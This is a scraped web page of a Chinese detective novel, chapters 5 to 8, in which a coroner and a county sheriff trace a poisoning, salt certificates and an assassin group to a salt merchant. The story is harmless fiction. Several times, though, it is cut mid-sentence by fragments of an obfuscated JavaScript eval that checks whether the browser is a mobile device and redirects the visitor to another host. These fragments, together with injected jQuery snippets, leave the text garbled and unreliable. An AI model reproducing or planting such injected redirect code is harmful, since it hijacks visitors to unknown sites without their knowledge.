l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509366|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐朝下了船,连忙将宋准搀到船舱里,让他在床上躺下。 宋准像是见到救命稻草,放下心来,却连说话的力气都没了,松开手露出自己脖颈上的伤口,有气无力地说道:“遭…暗算了,刀上…淬…淬了毒。” 令狐朝瞧了一眼,从桌上的几个布袋里拿了一些药草,还有一套银针来。 银针沾了宋准伤口处的血,放在烛火上炙烤,缓缓现出了青黑色,令狐朝又仔细检查了宋准的伤口,道:“你中的毒是一种西凉的毒药,那刀上应该还有防止血液凝固的药,所以你才会血流不止。” 想了想他又说:“但这很奇怪,如果那人本意是让你中毒,那么应该就让伤口血液凝固,这样毒才能留在你体内,这样反而让流出的血带走了一部分毒素,你才能醒过来。这个手法,有点像是……” 他话说了一半停了下来,手上忙着将那些草药捣碎了敷在伤口处,疼得宋准闷哼一声,令狐朝笑着说:“哈哈,不好意思,平日里折腾尸体惯了,下手没轻重的。 宋准咬着牙说:“无妨,你也算…啊…救了我一命…”令狐朝脸上带着些幸灾乐祸,又拿出粒小丸药来让宋准吃了进去,不消一盏茶的功夫,那种昏天黑地的感觉就消解了不少,眼前清明起来,身上也恢复了些力气。 见宋准好些了,令狐朝说:“不嫌弃的话晚上便宿在我这儿,你身上余毒未清,最好不要立刻走动,明日也告假罢,否则体内余毒一旦复发,神仙也救不了你。” “不行,我已跟县令保证三日必破此案,怎么能随随便便告假,那可是两条人命啊!”宋准挣扎着要坐起来,又被令狐朝给摁了下去:“他们的命是命,你的命就不是命?那两人已经死了,死人的事再大也大不过活人,你要是为逞一时英雄丢了性命,我就把你写到书里遗臭万年。” 说完令狐朝又从边上端来一碗水喝了一口,对他说:“你要是实在牵挂你的案子,我便给你讲点好消息,今日我在他们身上找到了些有意思的东西。” “什么?”宋准一听有线索,又想要坐起来,这次令狐朝没有再摁他,走到桌边拿来他的记簿递给宋准,坐在他旁边指着那些记录说:“和我们一开始猜测的一样,老鸨的指骨有骨折迹象,并且在她的指甲缝里找到了一点金箔的碎屑,虽然暂时不知道这些金箔是从哪来的,但我隐隐觉得这和凶手有关。” 向后翻了一页,他又说:“古董商中的箭也不是普通的箭,箭头上有一个印记,是在打造时就铸在上面的。”他指着记簿上那个临下来的纹样,那是一条盘锯着的龙,隐藏着利爪,像是在等待腾飞的时刻。 5. 盐引 令狐朝坐在桌前看了一夜的书,拿着一小杆秤配了好些药,都用药方包好,放在桌边没有杂物的地方。 第二日清早宋准醒来时,令狐朝已经做好了早饭,招呼他起来吃。睡了一夜,身上已然大好,除了颈上伤口有些发痒——是伤口在愈合了。 桌上是简单的艾草糍粑和杂米粥,还有一小碟鱼鲊。令狐朝坐在炭炉边的矮凳上一手拿着卷书在看,一手端着粥碗,看入迷了碗倾斜下去,粥滴在地板上。 宋准叫他:“令狐兄?令狐兄?你的碗。” “啊!”令狐朝像大梦初醒似的,立刻将碗转过来舔舔碗沿,这才放下书喝起粥来。 宋准看了看他这间河船屋,因着停在水上的缘故,船身偶尔会微微晃动,船舱不大,也就六尺高,以自己的身高甚至没法在里面完全直立着走动,一张竹塌靠墙,一张方桌靠窗,窗户很小,即使打开了,屋内也暗暗的。 桌边只有一把椅子,因为自己坐着,令狐朝就坐在一旁的矮凳上,一个柜子在床尾,一个药柜靠方桌,顶上堆满了书和一些乱七八糟的不知是什么的东西,还有几卷书掉在了地上,令狐朝平日背的药箱此刻就在书架旁倒着,主人却似乎没有什么想整理的意思。 “令狐兄,你为何会住在这河船屋里?”宋准问道。 令狐朝喝完了粥,嚼着最后一口糍粑含糊不清地说着:“被前任县尉赶出来的。” “啊?怎会如此?”宋准十分惊讶,难怪初见时他对自己颇有敌意,原来是有这样一层缘故。 令狐朝起身拿走了宋准面前的空碗,出了船舱走到外面的甲板上,宋准跟上去,蹲在了令狐朝身旁。 他语气里听不出什么情绪,很是平常地说:“我最开始做仵作时,原本是住在县廨后院西北角的屋子,前任县尉来了之后,说仵作身上晦气,旁的仵作都是住在义庄的,也就是知县心善才会让我住县廨里。” 刷完了碗,他又走回船舱里,宋准随即跟上,他又接着说:“所以我就搬出来了,在义庄住了一段时间,但是有一次下暴雨,义庄那个茅屋塌了,就有人说我是在屋子里用尸体炼蛊,才了遭天劫了。” 说到这儿他笑了一下,接着道:“挺好笑的,我要真会炼蛊我还做什么仵作啊。后来,城里百姓见我也跟见了鬼一样,我在城里租不到房子,就干脆找了条破船修了修,住水上了。” 宋准蹙眉,坐在床上十分气愤地说:“简直是欺人太甚!查案子验尸需要仵作,却连一个容身之处也不留,简直是欺人太甚!令狐兄,今日你就随我搬回县廨去,我看谁敢说个不字!” 令狐朝坐在椅子上,抬头看他,笑笑说:“哎,算了,我都在这住惯了,住船上也没什么不好的,城里常走水,这里倒还安全些,不忙的时候还能撑船去上下游看看,多方便呢。而且我要是没住在这,昨晚你还不知道死哪了,今日我还要验你的尸。哎,真是苦了我了,多久都没去下游捉鱼了,你不知道,下游有一处浅滩的鱼,好捉不说,味道那叫一个鲜。” 他笑着咂巴嘴,好像那鱼此刻正在他嘴里似的,但在阴暗的船舱里,宋准却瞧见他眼里亮亮的,似有泪光闪烁。 宋准不知道该说些什么,只好也笑笑:“令狐兄若不嫌我愚笨,等此案告破,带我同去捉鱼如何?” “好啊。时候不早了,我得去衙门接着验尸了,你想留在我这儿还是回县廨,都可以。”令狐朝起身拍了拍衣裳,他在低矮的船舱里也不怎么能站直,弯腰拿起了药柜旁的药箱,打开来往里放了些东西。 宋准说:“我与你一同去验尸。” “今日我要解剖那古董商的尸体,你真要去?” “不能外出查线索,总要干点能干的,不然我这心里过意不去。”宋准说。 令狐朝笑了一下,合上药箱,道:“那你就跟上吧。” 进了县衙,令狐朝点了卯直奔停尸房,回头对宋准说:“不如你先去换身衣裳吧,你胸前这血迹…怕是洗不掉了。” 宋准低头看了一眼,鸦青色的提花缎子上一片深褐色,是血迹干了的缘故,他向令狐朝一拱手:“那令狐兄先去验尸,我随后就到。” 回去换上了官服,重新梳理了有些杂乱的发髻,摘下来昨日为了充阔气戴的宝石戒指,宋准便向停尸房走去。 进门时,宋准就闻到了焚药草的味道,令狐朝穿着一麻布罩袍,面上同样覆一块麻布系在脑后,正在验尸台上剖开古董商的胸口,看到宋准进来,他说:“你站远些,一会儿别吐这儿了。” “令狐兄说笑了,我也是见过验尸的,我…呕……” 宋准只瞧见了一眼便跑出去干呕着,令狐朝在里面笑出了声,说:“说了站远些,你不做这一行,还是少看这些秽物为好,边上有纸笔,站远些替我记档吧。” “……好…”宋准到底是没吐出什么来,便答应着,拿起了记簿和笔,就站在门口记录着令狐朝口述的情况。 令狐朝检查了许久,在古董商的胃里找到了一粒未消化的蜡丸,他将那蜡丸拿出来在水里洗净,交给了宋准,剥开上面的蜡,里面竟是一张盐引票据。 “他一个古董商人也贩盐?为什么要将这盐引吞下去?”宋准问道,令狐朝缝合着尸体,思考了片刻,说:“茶盐转运司里应该有盐引发行的记录,还好这张盐引被封在蜡里,没有被腐蚀。” “我这就去找知县请文书去茶盐司查记档!”宋准起身就要跑出去,被令狐朝一把拽住了后背,回头看到他那张面无表情的脸,才停下来说:“明日去,明日去。” 令狐朝松开宋准的衣服,对他说:“你体内余毒至少还需三五个时辰才能消散,你要是真想早点出去查案子,多喝点水也使得。”说完伸手搭过他的脉,又从药箱里拿出昨晚包好的药递给他:“去把这服药煎了喝。” 宋准接过药,令狐朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509367|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁脱了罩衫,清洗着他的刀具,宋准道:“令狐兄可愿赏脸去我的院中小坐片刻?顺便…我不太会煎药…” 令狐朝抬眼,一歪头说:“药都不会煎?草包,等着。” 一进了宋准的屋子,令狐朝就看见堂桌上那个小小的牌位,上面写着“恩师卫诚之灵位”前面的小香炉里还有三支燃尽了的香,他问:“这是?” “是我老师的牌位。”宋准笑笑说,“前大理寺少卿,你可能也听说过,前些年包庇重刑犯收受贿赂又通敌被诛三族斩立决的那位。” 被诛三族的大理寺少卿卫诚,令狐朝自是听说过,此事在大宋恐怕无人不知,卫诚被斩立决后,尸体和人头一起被悬挂在菜市口示众三年,不许家人收尸,最后就剩一堆白骨,被野狗分食殆尽。 “有所耳闻,但我觉得根据朝廷的通报,包庇受贿和通敌都不一定是他做的。”令狐朝说,“他竟是你的老师?” 听到令狐朝这样说,宋准眼睛立刻睁大了,两手按在令狐朝肩上追问:“令狐兄何出此言?你也觉得我老师是被冤的?!” “松手松手松手!”令狐朝抖抖身子往后退了好几步远离宋准,才说:“我只是猜测,如果我是一个屡破奇案的大理寺少卿,我想通敌,包庇罪犯又要收受贿赂,我怎么可能让别人轻易发现,就算做伪证也会做的更逼真些。” 宋准眼含热泪,似是自言自语,又像是在和谁说话:“我就知道…我就知道我的推测是对的…” 令狐朝没再说话,拿起药去了厨房,煎好了药端回来,看见宋准趴在桌上一动不动,立刻放下药罐,拽出他的手一探脉搏,松了口气。 “睡着了啊,年轻就是好,倒头就睡。”他推了推宋准,“哎,醒醒,把药喝了。” 宋准睁开眼,起身看到了面前的药,端起来十分尴尬地笑笑:“啊…令狐兄,方才突然觉得十分困倦,没撑住就…” 令狐朝已经坐到了对面的椅子上,不知道从哪摸出来一卷书翻着,道:“无事,我刚探了你的脉,喝了这药再过一个时辰你就可以去干你想干的事了,年轻就是好啊,中毒了都好的比旁人快。” “还不知道令狐兄的年纪,我今年二十三。咱们二人应当差不多才是,令狐兄却把自己说得像个黄发老者。”宋准说。 “二十四。”令狐朝道,“可能吧。”后面半句他几乎只是动了动嘴,没有发出任何声音。令狐朝不确定自己的年纪,不知道自己是哪年生的,也不知道自己本家的姓氏。 师父在捡到他时看了他的齿序大概测算了他的年龄,没有生辰,他也不知何时应当长一岁,于是每过一个春天,便给自己加一岁。他的名字也是随了师父姓,早上捡到的,便单名一个朝字。 宋准喝完了那碗药,皱着鼻子撇嘴:“这也太苦了。” 苦吗?令狐朝从不觉得,比起离开故土,不知自己来自何处,似乎什么都没那样苦。 6. 夜探柜坊 灌了几壶水下去,跑了十几趟茅房,令狐朝终于确定宋准的身体可以随意行动了,但也到了茶盐司放值的时候,记档是查不了了,宋准思索了一下说:“我趁夜再去一趟永昌柜坊,看看里面到底有什么猫腻。” “行啊,要去便去吧,别死里面就行。”令狐朝端着茶杯看着书,漫不经心地说道,“要是又遭暗算了,我的船就在河边。” “我定会小心的。” 填完复检的验尸格目送去州府,令狐朝就回了自己的船屋,宋准等到夜幕降临,找出夜行服换上,从小巷内拐到永昌柜坊的后院,翻墙进去。 柜坊后院十分安静,只偶然听到远处巷内有几声狗叫,月光很亮,不需要照明,很容易就摸到了前堂,宋准打开窗子,小心翼翼翻进去,环视四周,没有见到可疑的情况,摸出火折子打亮,找到了柜坊的账房。 账房的布局没有什么异样,宋准翻翻找找,从柜子里找到了账本,翻阅着上面的记档,都是普通的兑银存物记录,翻到一半,外面突然传来了极轻的脚步声,宋准熄了火折子仔细听着,那脚步声似乎在缓慢向账房靠近! 宋准站起身,挪到了门后,外面那个人进了门,窗户透进的一点月光下,宋准看得清楚,那就是那天在古董行出现的黑衣人! 此刻那人依旧蒙面,头发束在头顶,什么都没戴,手上一把短刀被月光照得发亮,正在环视账房,眼看着就要转身看向门口了,宋准心想,一不做二不休,拔出腰后的佩剑就向那人砍去。 那黑衣人反应极快,立刻回身挡掉了宋准的一剑,二人短兵相接,几个来回下来宋准竟觉得自己隐有落败之势,于是便想着该怎么离开。 打斗中,那黑衣人一剑朝着宋准面门刺来,他往侧边一闪,刀刃从侧脸擦过,留下一道伤口。他自己手里的刀从黑衣人腰上划过,有个东西掉到了地上,黑衣人受了伤,立刻往后院跑去,翻出了墙不见了。 宋准捡起掉在地上的那个东西,是块儿腰牌,借着月光,看到上面刻着两个文字,笔画复杂,不太好辨认,他们在这里打斗动静不小,不免会引人注意,账本是不能再翻下去了,于是他便也从来时的路回去,走到了运河边去找令狐朝。 河面上还是只有他的河船屋亮着灯,稍微走近些,听到船里传来琴声和歌声,琴声凄凄切切,弹琴的人似乎十分伤感,连唱的词也尽是哀切之意: 皎皎明月兮,悬于上;滔滔江水兮,何处去? 身若浮萍兮,逐水流;心似飞絮兮,无从去; 潇潇骤雨兮,莫催发;吾身所在兮,是故乡…… 越走越近,那歌声也越清晰,上了船,宋准敲敲门:“令狐兄?” 琴声和歌声戛然而止,随后听到一阵急促的脚步声。门开了,令狐朝看着门口的宋准,说:“哪儿又受伤了?”说完把他迎进来,上下打量了一遍,才看到了他脸上那道浅浅的伤口。 令狐朝抓过宋准的手一探脉搏,又细细看了看那道伤口,血液已经凝固,用银针测了,并无有毒的迹象,才松口气道:“还好你来得及时,不然伤口就愈合了。” “令狐兄莫打趣我了,我也刺伤了那人,从他身上掉下来了这个。”宋准拿出那块腰牌递给令狐朝,他双手止了琴音,接过来腰牌在烛光下看那两个字,面色渐渐凝重,缓缓地说了两个字:“鬼樊。” “没想到连鬼樊楼的人也牵扯进来了。” 宋准十分不解地问:“鬼樊楼?那是什么?” “江湖的刺客组织,说是刺客也不完全准确,因为他们什么活都接,小到捎信,买菜,大到杀人,灭门,而且行踪很是神秘,从来没有官府的人能抓到他们。甚至有可能,官府里也有鬼樊的成员,才为他们提供这些便利。” 站着直不起腰,宋准便坐在了竹塌上,拿过令狐朝又递还回来的腰牌,仔细打量着,发现在腰牌侧面似乎有什么纹样,在烛光下一照,竟是玉蝉的形状! “令狐兄!玉蝉!玉蝉的纹样!”宋准激动得一起身,头磕到了船顶,“啊!”大叫一声又坐回了床上,捂着头顶倒吸凉气。 令狐朝在一旁被逗笑了,过去也坐到了竹塌上,接过腰牌看了看那侧面的纹样,说:“不是玉蝉,是蛾。” “蛾?是飞蛾吗?”宋准不解,“那怎么会这么像蝉?” 令狐朝笑了笑:“或许是做法不精吧。” “但这块腰牌是关键线索,老鸨的死,古董商的死,说不定都与鬼樊有关,但是鬼樊又是受了谁的指使,还需要再查下去。”宋准说,“不早了,我便不叨扰令狐兄了,明日我就去茶盐司查记档,若有线索我再来寻你。” “好,那我也不多留你了,路上小心。”令狐朝起身送宋准出了门,回到船舱又接着抚琴,薄唇轻启,唱着他自己写的词: 皎皎明月兮,悬于上;滔滔江水兮,何处去; 身若浮萍兮,逐水流;心似飞絮兮,无从去; 潇潇骤雨兮,莫催发;吾身所在兮,是故乡; 莫愁前路兮,身孑然;吾心所念兮,魂归乡。 宋准一路上听着那哀切的歌声渐弱,直到完全听不见,心里想着,令狐朝定是有很多心事,他没有说出口,他也不便问,怕更让他难受。 回了县廨,一夜未曾安眠,梦魇一重接一重,老师被斩首,被抄了家的卫府起了大火,人群四散奔逃,凄厉的,不知是人还是动物的哭号响彻天际,他站在一旁,看得见,却触碰不到。老师的头颅掉在地上,汩汩的血染红了脚下的土地,那颗头颅的嘴一张一合,在叫着他的表字:“惟衡…惟衡…” 天还未亮透,宋准便睁开了眼,起身坐在塌边,梦里的场景那样真实,像是有人引领自己回溯了过去,是怕自己忘记。 脖颈上的刀伤还未拆纱布,在去请文书时,王知县十分关切地说:“宋县尉可千万要注意安全,不能为了查案子连命都不要了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509368|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋准道:“我的伤无事,多谢知县关怀,今后我定会小心行事的。” 茶盐司建在漕运码头边,运河上停着大大小小的漕船,船工们正搬着粮食,日头照在河面上,金灿灿的,远处河滩上鸥鹭正抓鱼吃,令狐朝的河船屋停在最远处的河岸边,只能看见孤独的一个点。 宋准在茶盐司翻查着记档,对照着蜡丸里的那张盐引票据,发现那是在两个月前发行给一个名叫黄寅的盐商的,除了这张盐引以外,一同发行给黄寅的盐引还有另外的四张,使用期限都只有三个月,一张盐引可兑一百一十六斤盐,这个黄寅要五百多斤盐上哪卖? 茶盐司里只能查到这些,宋准离开茶盐司,准备去茶盐司指定的晒盐场查盐商们的兑盐记档,但盐场在盐官县,跨县查档还需要回县衙请文书才可。 于是宋准又赶回县衙,请了文书快马加鞭赶往盐官县,终于在盐场放值前赶到了。 盐场的监官是个挺着大肚子一脸横肉的男人,工人们都叫他李监官。 宋准站在盐场门口,看着去向李监官通传的工人对他阿谀谄媚,点头哈腰的,心里不免对此人生出些厌恶来,半晌,李监官才慢慢悠悠晃过来,走到宋准面前。 “在下临安县县尉宋准,见过李监官。”宋准先向他行了礼,他只是上下打量了宋准一遍,问道:“临安县的县尉?来我盐官县做甚?” 语气不善。 “李监官,我们县有两起命案或与盐商有关,我想查一下盐场内盐商兑盐的记档,这是我县县令的文书,请过目。”宋准递上文书,面无惧色。 李监官接过文书看了看,又将宋准上下打量了一遍,才说:“跟我来吧。” 宋准跟着他到了盐场的账房,他拿出记档扔在桌上:“都在这了,县尉自便。”说完转身出了门,不知道上哪去了。 宋准叹了口气,翻开记档从两个月前开始查,发现这个黄寅在拿到盐引后不到半个月,便来盐场兑出了五百八十斤盐,但他分明缺了一张盐引,如何能兑出这么些盐来? 在茶盐司时宋准已经请盐政辨认过,古董商胃里的那张盐引并非是作假的,那么现在看来唯有两个可能,要么盐场的账本是假的,要么茶盐司的记档是假的。 但这样一来,牵扯的就不仅仅是人命案,而是关乎到官盐走私了。 官盐走私自古皆有,为防止有盐商夹带私盐,才由官府发行盐引,又在盐场设专人验收产量,签发盐引,贩盐路上的各个关隘也都有查验,还有专门的提举茶盐司监督盐引使用,环环相扣,一个环节出了问题,其他环节立刻就能发觉,及时管制。 以现在的情况来看,似乎不止一个环节出了问题。 “得尽快找到这个黄寅。”这是宋准离开盐官县时唯一的念头,天已经黑透了,月亮也是晦暗的,隐在黑云之下,似是有雨要落了,城外的官道上仅他一人一马,马蹄声和着草中的虫鸣,往临安县的方向奔去。 7. 官盐走私 约莫三更天,宋准才进了临安境内,像是被什么牵动着,他想到了令狐朝,如今的局面复杂,他想了一路,终不得一个解法,需要有人点拨一二,这样的情况下,他只想到了令狐朝。 一路疾驰到运河边,看到令狐朝的船还亮着灯,宋准心里便安定了下来,把马拴在附近的树上,上船敲响了令狐朝的门。 “谁啊,哪儿又死人了?”屋里的人语气很不耐烦,声音和脚步声一起走近了。 “令狐兄,是我。”宋准应道。 门开了,令狐朝头发披散着垂在腰间,一半都是湿的,发尾卷曲着,身上只穿着里衣,松松垮垮地挂在瘦削的肩膀上,应是刚沐浴过不久。 他说:“这么晚过来,有什么要紧的事?” 宋准跟着他进了屋,坐在竹塌上,却不知为何一句话也说不出,令狐朝的桌上堆着些书,一把琴就那样放在那些书上,他坐在椅子上,拿着块布擦着头发,漫不经心地说:“不是去查盐引了吗?没查出来?” “查出来了。”宋准说,“盐引是一个叫黄寅的盐商的,他在茶盐司换了五张盐引,在盐官的盐场兑了五百八十斤盐。” “古董商胃里那张盐引是假的?”令狐朝问。 “请盐政辨认过,是真的。” “那就是盐场有问题了,有些监官啊,会谎报损耗,然后把余盐卖给私贩,好从中牟利,盐场油水大,这谁不知道。”想了想,令狐朝又补充道,“茶盐司也可能有问题,收了贿赂开后门贩卖他们自己的假盐引。” “令狐兄说的我也猜到了,但这样一来牵连到的人就不是一个两个,整个浙区的官盐可能都有问题,我们要如何查起?若这些人都有问题,朝廷会一一问责下狱吗?届时我定会成了众矢之的,能不能活过那些人问斩还是两说。”宋准捂着脸,将自己的担忧一一说出,恩师是如何被陷害的,他再清楚不过,不就是因为触碰到了那些人的利益才被灭了门吗? 令狐朝没有立刻回答,搬开桌上的琴,在那堆书里翻翻,找出本《汉书?酷吏传》来,翻开刺史一案递给宋准,才说:“汉朝武帝时与豪强共盗官铁的河内太守王温舒,被查后畏罪自杀,同郡中连坐而死的豪强有千余人。他们犯了罪,不好好想着怎么洗脱罪名也就罢了,还有心思来除掉你一个小县尉?难道你死了,上面就不问责他们了吗?” 宋准接过书看着那上面的字,令狐朝又接着说:“你啊,做事不要畏首畏尾,你没那么容易死,你恩师的事情我知道,你怕你会跟他一样,但你不是他,你的敌人也不是他的敌人,你想替他翻案,你自己得先闯出事业来。” “我知道了,多谢令狐兄开解。”宋准将书递还给令狐朝,沉默了许久,才说,“我预备明日就去找那个盐商黄寅,我怀疑,老鸨是撞破了私盐的交易才被灭了口,青楼人多杂乱,尤其还有个适合脱身的地道,再适合做这些勾当不过。” 令狐朝嘴角微微扬了一下,露出个好看的笑来,从桌旁炭炉上拿了块糍粑递给宋准:“赶了一天的路,还没吃饭吧。” 宋准愣了一下,接过糍粑,说:“令狐兄怎知……” “吃吧,垫垫肚子。从临安到盐官快马加鞭也得两个时辰,要停下来吃个饭,你今日还回得来吗?” 令狐朝说完,手搭上琴弦,开始弹着一首曲子,从开着的窗外吹进来的风一次次扬起他的头发,吹干了那些潮湿的发梢,琴声里,宋准听出那些凝滞的,有些像哽咽的声音,经琴弦,被风带去更远的河面。 一曲毕,宋准问令狐朝:“令狐兄喜欢弹琴?” “消遣罢了,说喜欢也无不可。很古怪吧,干着下九流的行当,偏偏喜欢附庸风雅。”令狐朝自嘲地笑笑,拨响了一根弦。 宋准立刻抬头说:“怎会?职业岂分高低贵贱?喜欢做什么便做,哪条律法说仵作不能喜欢弹琴?” 令狐朝没说话,只是笑笑,一声春雷响过,下雨了,开着的窗飘进些雨丝来,他起身关了窗,对宋准说:“下雨了,别冒雨走了,淋出风寒了怎么查案子,明早再回去吧。” “怎可三番两次叨扰令狐兄,趁雨还不大,我还是先走吧,马还拴在河边的树上呢。”宋准起身行礼准备离开,令狐朝开窗看了看窗外,说:“也好,骑马总会快些,我便不送你了。” “告辞。”宋准起身离开,在解开拴马的绳子之后,琴声又从那孤独的船屋里传出来,清冷的声音唱着哀切的词。 回到县廨时,身上被雨淋湿了不少,窗外的芭蕉树在雨中摇曳着,似乎又多伸出了几片叶子。 简单洗漱过后宋准上了床,大约是真的累了,很快就睡着了,一夜无梦,醒来时天光刚亮,雨已经停了。 点完卯,宋准先去了吟兰苑,老鸨死后吟兰苑一直有捕快看守,这几日不许人进出,陈捕头说楼里的伎子颇有怨言;贴出去寻找花魁金雀儿的告示也石沉大海,毫无任何消息,如今老鸨的死既然可能与官盐走私有关,那么青楼里一定有人知道一些消息。 吟兰苑里很是寂静,像是比整个临安更晚苏醒。陈捕头守在门口,见到宋准来了,立刻向他行了个礼,道:“宋县尉,那些伎子们喧闹到半夜,现在怕是都还没醒。” “无事,先叫那几个跑堂的伙计来。” 陈捕头领命,去后院带人了,宋准进了前堂,里面还和老鸨死的那天一样杂乱,甚至更乱,他跨过那些散落一地的不知道是什么的东西,坐到了戏台边上,等着陈捕头带人来。 “宋县尉,人已带到。”陈捕头带了十几个伙计过来,那些伙计个个精神萎靡,睡眼惺忪,看来昨夜也和那些伎子一起闹事了。 宋准摆摆手,让陈捕头在旁候着,问那些伙计:“本县尉问你们,常从你们后院那个地道里进出的都有哪些人?” 伙计们被宋准开门见山的问询吓得都清醒了,面面相觑,在下面小声嘀咕,谁也没有回宋准的话,陈捕头在旁一喝:“县尉问话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“现在说吧,谁知道得多,说得多,本县尉重重有赏。”宋准扫视过他们每个人的脸,又补充道,“倘若有谁知情不报,便是与嫌犯同罪!” 说完,那些伙计们互相看了几眼,乱糟糟的说着什么“好多富商”、“西域的商人”、“秀才”、“其他县里的官员”,宋准伸手让他们停下来,说:“一个一个说,知道多少说多少。” 那些伙计挨个说完,宋准得到的信息不少,吟兰苑每月初九停业,但是会接待出高价从地道进出的官员富商们,久而久之,每月初九那日便成了专门接待他们的日子,大多数时候他们不会让楼里的姑娘伺候,但因为每次都给足够多的钱,老鸨便也不计较这些,反而将花魁楼阁最好的厢房开辟出来专供给他们用。 “好了,我知道了,你们都回去吧,等案子告破,来找我领赏就是。”宋准说。 伙计们应声散了,又过了半刻,陈捕头和那个伙计才带着小蛮来到前堂,小蛮的脸上只施了些淡妆,宋准才得以看清楚她的长相,眉眼间英气不减,眼尾上翘,像狐狸似的,下巴尖尖的,脸颊没什么肉,显得那张脸极小,很是清秀。 陈捕头对宋准一拱手道:“县尉,人已带到。” 宋准点点头,对那个伙计说:“没你的事儿了,你下去吧。” 那伙计扫视了一圈前堂,没动作,宋准又说:“怎么?是有什么事要说?”伙计摇摇头,又看了一眼宋准,这才离开了。 8. 初九闭门日 小蛮打着哈欠,拢拢外衫,做出十分轻佻的样子轻笑着问:“怎么了,宋县尉,摘了我的花牌,可是要点我?是要听曲儿啊,还是对赋?” 宋准看着她,不理会她那些污言秽语,问道:“小蛮姑娘是哪里人?” “可能是苏州吧。”小蛮说。 “可能是?” 小蛮歪头看他,像看到了什么笑话,笑了几声后说:“宋县尉哪里懂我们这些青楼伎子的命呢,不过是生来没被掐死的,苟活至今,靠卖艺卖身混口饭吃,不至于饿死罢了,哪里还有闲心挂念生而不养的家乡在哪。” “想过赎身出去过清平日子吗?”宋准又问。 “怎么?宋县尉要救风尘啊?”小蛮笑着,手指玩着胸前的丝带,那双狐狸一样的眼睛一眨一眨的,像是装出一副无辜单纯的模样,但是又让人知道她是装的。 “楼里的伙计说,你是两个月前来吟兰苑的,那你可知道楼里每月初九闭门停业是为何?” “仿佛是为着伺候什么贵客吧。” “那你可曾见过那些贵客的模样?可知道他们是如何进出的?” “自然是走暗道进的,外面的人哪能见到他们长什么样,怕是连死了的妈妈都没见过吧。”小蛮的话说得肯定,说到死了的老鸨时,又刻意加重了语气。 “你认识金雀儿吗?可曾与她接触过?” “谁会不认识花魁姐姐?她人多好呀,又是妈妈的摇钱树,谁不敬着,每次那些贵客来,都要点姐姐作陪呢。”小蛮打了个哈欠,又问,“我能回去睡觉了吗?昨夜就睡了一个时辰,这样下去脸都垮了。” 宋准摆摆手,跟她说:“回去吧。” 陈捕头走到宋准跟前说:“县尉就这么让她走了?” “她已经给了我们很多暗示了。”宋准跳下戏台,从怀中摸出一卷文书递给陈捕头,说,“拿着这个搜查令,带人去查集市上卖西域香料的铺子进出货记档,问清楚老鸨死的那日周围百姓可否见过他们马车的去向。” 陈捕头打开搜查令看了看,向宋准行了礼带人离开了。 宋准也出了吟兰苑,在集市上询问商户是否认识一个叫黄寅的盐商,没想到这黄寅竟然无人不识,商户们都说他是临安最大的盐商,在最繁华的街上有一套十分豪华的宅子,里面的布置说是堪比皇宫也不为过,宋准听了商户们的话,便知道这个黄寅一定不好对付。 到了那黄寅的宅子前,确实让宋准吃了一惊,门前看着平平无奇的,和普通富贵人家的宅院没什么两样,无非是朱漆大门配铜钉,前有石狮镇宅,汉白玉的影壁上雕仙鹤麒麟,等门口的小厮通传完带了他进去,也不知道商户们说的“堪比皇宫”是比在了哪里。 进门外院的马厩里有一匹白马和一匹枣红马,有仆役正在给添草,地上铺了卵石,是为了防止下雨时道路泥泞,轿厅里放着马具,梁柱大约是乌木做的。 小厮把宋准带到前厅,对他说:“请县尉稍等片刻,主人正在更衣。” “好,无妨。”宋准应着,站在厅内等他。 不多时,那黄寅才从廊下过来,走近了宋准才发现他正是自己上任那日跟在一众富商后面的一个,那时候其他富商邀宋准去他们备好的宅院中居住,被宋准婉言拒绝了,当时就瞧见这个站在最后面的富商面上似有不快,但他并未多想,没想到现在在这样的情况下遇上了。 “宋县尉啊,久等了,您光临寒舍,可是有什么要事啊?”黄寅笑着一边说一边请宋准坐下,那笑脸像是戴了个假面具似的,看得人不舒服。 宋准坐下,向黄寅一拱手道:“黄老板,不知最近城中的两起命案您可有耳闻?” “我刚从老家探亲回来,不曾听闻。怎么?县尉来我这儿,是案子与我有关?”黄寅用探究的眼神瞧着宋准,捋着自己下巴上那缕胡子。 “是与您的生意有关。”宋准道。 “哦?此话怎讲?” “您在两月前是否在茶盐司兑了五张盐引,后又丢失了一张?”宋准问。 黄寅一听说盐引的事,立刻警惕了起来,身子靠在椅背上,说:“可是那盐引有什么问题?我确实兑了五张盐引,但丢失的不是一张,而是四张。” “四张?”宋准十分惊讶,他万万没有想到事情比他预料的更加严重,他又接着问,“那您可曾在拿到盐引后的半个月去盐官县兑了盐?” “不曾。”黄寅说道,“盐引丢了之后,我就自认倒霉了,一百多斤盐不值得我跑一趟盐官,我老家又有急事要我回去,我就把剩下那张盐引给老李了,让他去盐官淘古董的时候兑了。” “老李?” “就是集市上开古董行的那位。” “您说的可是李鹤年?”宋准问道,李鹤年正是那位被刺的古董商的名字。 